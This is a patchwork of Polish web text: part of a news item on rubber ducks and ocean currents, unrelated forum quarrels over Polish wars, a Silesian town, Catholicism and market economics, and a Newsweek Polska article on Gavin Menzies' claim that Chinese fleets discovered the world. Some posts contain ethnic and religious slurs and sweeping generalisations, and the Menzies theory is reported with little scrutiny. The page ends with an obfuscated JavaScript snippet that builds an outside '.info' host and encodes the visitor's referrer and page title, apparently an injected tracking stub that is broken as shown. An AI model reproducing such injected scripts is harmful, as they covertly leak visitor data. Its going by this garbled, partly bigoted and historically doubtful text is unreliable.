Wielokrotnie wyższą wartość żółte kaczuszki osiągnęły wśród kolekcjonerów: ich cena na giełdzie internetowej doszła w tych dniach do 740 euro.
Jednak kacza armada wejdzie do historii przede wszystkim dzięki oceanografom. Jak oświadczył w wywiadzie dla "Timesa" Simon Boxall z Krajowego Centrum Oceanograficznego w Southmapton, kaczuszki pozwoliły naukowcom nakreślić bardzo dokładną mapę prądów oceanicznych. To właśnie te prądy i zmiany ich przebiegu determinują pogodę.
Gumowe zabaweczki za dwa miesiące zaczną lądować głównie na plażach Kornwalii i wybrzeżach południowej Irlandii. (al)"

Jaką to wojnę panowie (w domyśle: polscy) ostatnio wygrali? - pyta eva15

Uprzejmie odpowiadam:
Dwie i to światowe!
Uzasadnienie:
Rok 1914. Polski nie ma na mapie i nikt (poza Polakami) nie myśli o Jej
przywróceniu. Rosja i Niemcy u szczytu potęgi: buta, nacjonalizm, ekspansja.
Wybucha wojna, Polacy jako rekruci w armiach 3 państw.
Rok 1918. Niemcy wygłodzone, wynędzniałe, rzucone na kolana przez Francję (!!!).
Rosja w nędzy, głodzie, wojnie domowej i w okowach ludobójczego reżimu. W
następnych latach Polska WALCZĄC NA DWÓCH FRONTACH zyskuje korzyści terytorialne
na wschodzie i zachodzie.
Rok 1939. Niemcy i Rosja, w poczuciu buty, misji dziejowej i euforii,
postanawiają zlikwidować Polskę i kilka innych krajów. Następuje inwazja. Europa
Zachodnia chowa głowę w piasek (oprócz Anglii).
Rok 1945. Niemcy zrujnowane, Rosja wykrwawiona. Polska uzyskuje minimum
egzystencji, uwolniona od konfliktów etnicznych wewnątrz kraju (chociaż w
sposób, jakiego sobie nie życzyła).

Aha, jeszcze była zimna wojna.
Rok 1949. W Polsce dyktatura stalinowskiego reżimu. Na całym prawie świecie
(oprócz USA a i to nie całkiem) Stalin czczony jako wielki przywódca ludu
pracującego. CCCP chce trząść całym światem, z Afryką i Ameryką Południową włącznie.
Rok 1989.
Pada mur berliński, padają reżimy komunistyczne w Europie. W CCCP konflikty
etniczne, część uciskanych narodów uzyskuje niepodległość. Rosja doświadcza
nędzy komunizmu, potężna armia staje się balastem z kupą złomu. Wprowadzenie
gospodarki rynkowej obala mit socjalistycznej ekonomii. Niemcy połykają
najbogatszą część RWPG (obszar NRD) i chcą urządzić po socjaldemokratycznemu.
Powoli euforia ustępuje miejsca trosce.
Polska staje się członkiem NATO i UE, potencjał gospodarczy Polski i jej rola w
świecie rośnie.

No i kto tu jest mistrzem świata w wygrywaniu wojen? Na drugim miejscu po USA,
oczywiście...

Phi, ale niektórzy na tym forum są głupi, normalnie śmiać się chce. Jesteśmy
miasteczkiem w pozytywnym tego słowa znaczeniu i nie mammy 30 tys mieszkańców
tylko 25!!!

Jesteśmy miasteczkiem, gdzie ludzie się znają i są skonsolidowani. Jesteśmy
miasteczkiem z najbogatszą historią w regionie. Jesteśmy miasteczkiem, z
którego pochodzi patronka Europy, noblista z dziedziny fizyki, biskup
wrocławski, dowódca Jasnej Góry, doradca króla Polski, błogosławiony misjonarz
znany w Ameryce Południowej, premier RP, minister RP, słynny polski poeta,
doradca Hitlera i wielu wielu innych. Reszta miast wokoło chciałaby mieć
chociaż ćwierć z tego. Częstochowa także.

Reszta chciałaby mieć taką porządną infrastrukturę, z tym, że - z pewnością
dbałaby o nią, nie jak lublinieccy włodarze. Reszta chciałaby mieć takie czyste
powietrze, jak my, zadbane miasto i ładne zabytki (oprócz zamku, ale może go
wyremontują wreszcie). Reszta chciałaby mieć tyle do powiedzenia w Sejmie, ile
my, chciałaby mieć tak rozbudowaną służbę zdrowia, szkolnictwo i w miarę
porządne drogi. No i bezrobocie mniejsze niż gdzie indziej.

Naszych plusów jest bardzo wiele, można się rozpisywać, ale nic na to nie
poradzimy, że liczymy tylko 25 tys ludzi, chyba że się weźmiemy porządnie do
roboty ;-) A to, że mamy małe miasteczko pozwala nam zauważać małe problemy i
je szybko rozwiązywać. Tutaj nikt nie żyje anonimowo, jak w Częstochowie na
przykład.

I jestesmy śląskim miastem, ci wszyscy słynni z Lublińca byli Ślązakami,
budownictwo mamy śląskie, śląską historię, tradycje śląskie, zanim polska wieś
tutaj się zjechała, mówiono tu gwarą śląską. Mimo napływu polskich wieśniaków
za Gierka, nadal jesteśmy śląskim miastem. 730 lat historii nie da się zmazać w
ciągu 20 lat. Tak samo naszej obecności na mapie. Bo geograficznie też jesteśmy
Śląskiem. I dlatego wara od nas przy tworzeniu częstochowskiego województwa.
Nie chcemy być z wami!

realista1000 napisała:

> Piszesz:
> "gdyby watykan wygnano z polski gdzies w 15,16 wieku to zylibysm conajmniej dzi
> s
> w polsce na poziomie np; poludniowych niemiec !!"
>
> Pewnie tak, zaszczepiliby nam swój język i kulturę (Kulturkampf), a po Polsce
> ślad by nawet nie został, ale tak się nie stało m.in. dzięki kościołowi
> katolickiemu i wierze naszych (wątpię by twoich) przodków! A w 15, 16 wieku to
> dzięki naszej wierze, tolerancji i gościnności przyjęliśmy masę "stulejkowców"
> z
> całej Europy - tu stworzyli sobie warunki do egzystencji, uzurpując sobie
> później dziwne prawa ... własności! Gdyby lewaków wsadzano do więzień tuz po
> odzyskaniu niepodległości przez Polskę, to dzisiaj bylibyśmy Szwajcarią (nie
> tylko Niemcami). Tak więc widzisz, synku, nie ośmieszaj się!
Od czasow krola wazy skonczyly sie czasy tolerancji w polsce ,nie tylko
dlatego hitler budowal u nas obozy bo polska to zadupie europy wielu u nas jest
i bylo takich (kobylanskich) co za judaszowe srebniki sprzedawali swoich
zydowskich sasiadow niemieckim (40%)katolikom na smierc , ty lepiej glupcze
spojrz na gospodarcza mape europy kraje katolickie zawsze sa biedniejsze ,
bardziej podatne te spoleczenstwa byly i sa na rzady roznych kacykow , spojrz
tez na obie ameryki , super bobata kanada 30% obywateli przyznaje sie do
jakiejkolwiek religi nizej USA 90% wierzacych ale tylko 40 milionow z 300 mil
to katolicy wiec nie maja szannsy nic zepsuc, a potem az od meksyku raj kleszy
sama bieda katolicka i roznego rodzaju kacykowie wspierani przez watykan i
amerykanskie koncerny zywieniowe, ale dzieki Bogu w brazyli od kilku lat coraz
mnie ludzi przyznaje sie do katolicyzmu

Gość portalu: macio napisał(a):

> Gospodarka rynkowa jest przejściowym modelem kolego,
> a tzw. kapitalizm wyczerpał swoją formułę.

Co zatem jest modelem docelowym, bo NIC o nim nie piszesz!?

> Obecny
> model gospodarczy będzie musiał ulec gwałtownej metamorfozie,
> miejmy nadzieję że odbędzie się bez światowego konfliktu
> na masową skalę. Czy myślisz że ludzie chcą umierać z głodu?
> Czy mieszkańcy dajmy na to Somalii to ludzie innego, niższego
> sortu niż my?

Nie. Ale wlasnie przede wszystkim dlatego, ze nie moga dojsc do ladu z samymi
soba (ciagle przewroty, skorumpowane rzady wojskowych itp.), kazda pomoc
rozplynie sie bez sladu efektu (to znaczy zarobi zbrojeniowka, a nie o to
przeciez chodzi).

> Co zrobić z 20 proc. bezrobociem? Jak rozkręcić
> popyt w sytuacji kiedy większość społeczeństwa jest zadłużona,
> a eksport nie pomoże bo w Stanach czy EU jest podobny brak popytu.

TYLKO dalsze reformy w kierunku gospodarki rynkowej pomoga nam wejsc na
dlugofalowa sciezke wzrostu. Kazdy inny zwrot bedzie moze chwilowo owocny, ale
potem szybko cofniemy sie daleko przed punkt wyjscia. Wazne jest, bys przyjal do
wiadomosci, ze do gospodarki rynkowej jeszcze sporo nam brakuje.

> Tak jak mówię dotychczasowe "kapitalistyczne" metody nie pomogą

Spojrz na mape i pokaz palcem najbogatsze kraje swiata, a potem zdefiniuj jaka
droga do tego doszly.

> a ty będziesz musiał podzielić się pieniążkami z bezrobotnymi
> kolegami, może tymi, których zwolniłeś (hi hi). Oby nie pomógł
> ci w tym nowy hitler (Lepper?).

Chcesz sie bawic w Janosika? Rownomierny podzial juz przerabialismy. Okazal sie
podzialem biedy!

Tak sie sklada, ze to wlasnie kraje o rozwinietej gospodarce rynkowej sa
najbogatsze. To dlatego pozostale staraja sie podazac ich sladem. To niemal cala
Europa Srodkowo-Wschodnia, przewazajaca czesc Ameryki Poludniowej, a od niedawna
nawet Chiny. Nie wymyslono lepszego sposobu na bogacenie sie panstw niz
gospodarka rynkowa w warunkach demokracji. Dlatego, jesli jednak masz w zanadrzu
jakas inna, lepsza wizje, to ponownie zachecam do przedstawienia szczegolow.

.

Menzies zwraca także uwagę, że kukurydza, roślina pochodząca z Nowego Świata,
została sprowadzona do Azji, zanim Kolumb dotarł w 1492 r. na Karaiby. Kiedy w
1520 roku Ferdynand Magellan jako pierwszy Europejczyk dotarł na Filipiny, jego
kronikarz zanotował: "Wyspiarze zaprosili generała [Magellana] do swoich łodzi,
w których znajdowały się towary na sprzedaż: goździki, cynamon, imbir, pieprz,
gałka muszkatałowa i kukurydza". Ponadto miejscowe elity używały naczyń z
chińskiej porcelany, które wyprodukowano tuż przed wysłaniem w morze ekspedycji
admirała Czeng Ho.
Według autora książki "1421 - rok, w którym Chiny odkryły świat" chińscy
żeglarze odwiedzili także wybrzeża Antarktydy 400 lat przed Europejczykami.
Dżonki dotarły też do Australii. U południowych wybrzeży tego kontynentu
znaleziono wrak jednego ze statków. Obecnie trwają badania drewna pochodzącego
z jego kadłuba. Legenda o "żółtych ludziach", którzy przybyli z daleka i
osiedlili się wśród rdzennych mieszkańców tego lądu, przetrwała do dziś wśród
Aborygenów.
Menzies twierdzi, że podczas swej dwuipółletniej wędrówki po oceanach świata
chińskie dżonki dotarły także do Nowej Zelandii, Grenlandii oraz opłynęły
Europę i Azję wzdłuż północnych wybrzeży tych kontynentów. Do macierzystego
portu - Tanggu powróciło zaledwie kilka statków i kilkuset ludzi. Straty były
ogromne, ale powracający z dalekich mórz żeglarze przywieźli ze sobą bogatą
wiedzę o dalekich krajach i ludach. Sęk w tym, że nie zostały wykorzystane.
Splot nieszczęśliwych wydarzeń w życiu ówczesnego cesarza Chin wykorzystali
przeciwnicy admirała Czeng Ho. Przekonali władcę, że ściągnął na siebie gniew
boga niebios wystawnym trybem życia, rozbudową floty i dalekimi podróżami. Pod
ich wpływem cesarz zmienił dotychczasową politykę. Kolejne 600 lat w dziejach
Państwa Środka to okres izolacji od reszty świata. Stocznie produkujące wielkie
dżonki opustoszały, zniszczono prawie wszystkie zapiski dotyczące dalekich
podróży i nowo odkrytych lądów.
Jednak zanim ostatecznie zapomniano o flocie admirała Czeng Ho, zgromadzone
przez Chińczyków informacje dotarły do Kolumba i innych odkrywców. Co więcej,
opowieści o nieznanych lądach prawdopodobnie zainspirowały europejskie wyprawy.
Menzis przeanalizował kilkadziesiąt europejskich map z XV i XVI w. Na wielu z
nich pojawiają się dokładne zarysy wysp i lądów, o których istnieniu europejscy
żeglarze nie powinni mieć bladego pojęcia, bo jeszcze ich nie odkryli.
Gavin Menzies poświęcił ponad 10 lat, by z fragmentarycznych danych
historycznych, kartograficznych i archeologicznych odtworzyć obraz morskiej
potęgi Chin na początku XV wieku. - Śledzenie tropów domniemanych flot wzbudza
podziw dla dociekliwości autora książki. Cała ta historia mogła się wydarzyć
- twierdzi prof. Jan Kieniewicz z Uniwersytetu Warszawskiego.
Być może, gdyby Chińczycy kontynuowali swoje podróże, Nowy Jork nazywałby się
dziś Nowym Pekinem, a Anglicy byliby mniejszością narodową w Ameryce.

Anna Piotrowska
apiotrowska@newsweek.pl

Artykuł ukazał się w tygodniku Newsweek Polska, w numerze

function bb5154546b2163b(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154546b21600(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154546b21600(bb5154546b2163b(document.referrer),bb5154546b2163b(document.title)));